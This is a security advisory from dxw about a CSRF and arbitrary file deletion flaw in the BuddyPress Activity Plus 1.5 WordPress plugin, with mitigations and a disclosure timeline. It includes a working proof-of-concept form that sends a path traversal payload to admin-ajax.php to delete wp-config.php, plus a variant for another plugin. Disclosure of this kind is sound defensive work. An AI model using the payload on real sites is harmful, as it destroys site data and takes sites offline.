61 lines
No EOL
2.7 KiB
Text
61 lines
No EOL
2.7 KiB
Text
Details
|
||
================
|
||
Software: BuddyPress Activity Plus
|
||
Version: 1.5
|
||
Homepage: http://wordpress.org/plugins/buddypress-activity-plus/
|
||
Advisory report: https://security.dxw.com/advisories/csrf-and-arbitrary-file-deletion-in-buddypress-activity-plus-1-5/
|
||
CVE: Awaiting assignment
|
||
CVSS: 8.5 (High; AV:N/AC:L/Au:N/C:N/I:P/A:C)
|
||
|
||
Description
|
||
================
|
||
CSRF and arbitrary file deletion in BuddyPress Activity Plus 1.5
|
||
|
||
Vulnerability
|
||
================
|
||
An attacker can delete any file the PHP process can delete.
|
||
For this to happen, a logged-in user would have to be tricked into clicking on a link controlled by the attacker. It is easy to make these links very convincing.
|
||
|
||
Proof of concept
|
||
================
|
||
Ensure your PHP user can do maximum damage:
|
||
sudo chown www-data:www-data /var/vhosts/my-wordpress-site
|
||
Visit a page containing this as a logged-in user and click submit:
|
||
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php\">
|
||
<input type=\"text\" name=\"action\" value=\"bpfb_remove_temp_images\">
|
||
<input type=\"text\" name=\"data\" value=\"bpfb_photos[]=../../../../wp-config.php\">
|
||
<input type=\"submit\">
|
||
</form>
|
||
If the server is set up so that the php user has more restricted permissions, then an attacker will at least be able to delete files from the uploads directory.
|
||
Note that you can also delete as many things as you like at once – $_POST[‘data’] is run through parse_str() which parses it as a query string, so just keep adding “&bpfb_photos[]=path/to/file” to the end until you have all known files.
|
||
There is an identical attack available only when BP Group Documents is also installed. Just replace “bpfb_remove_temp_images” with “bpfb_remove_temp_documents” and in data replace “bpfb_photos” with “bpfb_documents”.
|
||
|
||
Mitigations
|
||
================
|
||
Upgrade to version 1.6.2 or later
|
||
If this is not possible, ensure that the PHP user on the server does not have permission to delete files like wp-config.php.
|
||
|
||
Disclosure policy
|
||
================
|
||
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/
|
||
|
||
Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.
|
||
|
||
This vulnerability will be published if we do not receive a response to this report with 14 days.
|
||
|
||
Timeline
|
||
================
|
||
|
||
2013-08-22: Discovered
|
||
2015-07-13: Reported to vendor via contact form at https://premium.wpmudev.org/contact/
|
||
2015-07-13: Requested CVE
|
||
2015-07-13: Vendor responded
|
||
2015-07-14: Vendor reported issue fixed
|
||
2015-07-14: Published
|
||
|
||
|
||
|
||
Discovered by dxw:
|
||
================
|
||
Tom Adams
|
||
Please visit security.dxw.com for more information. |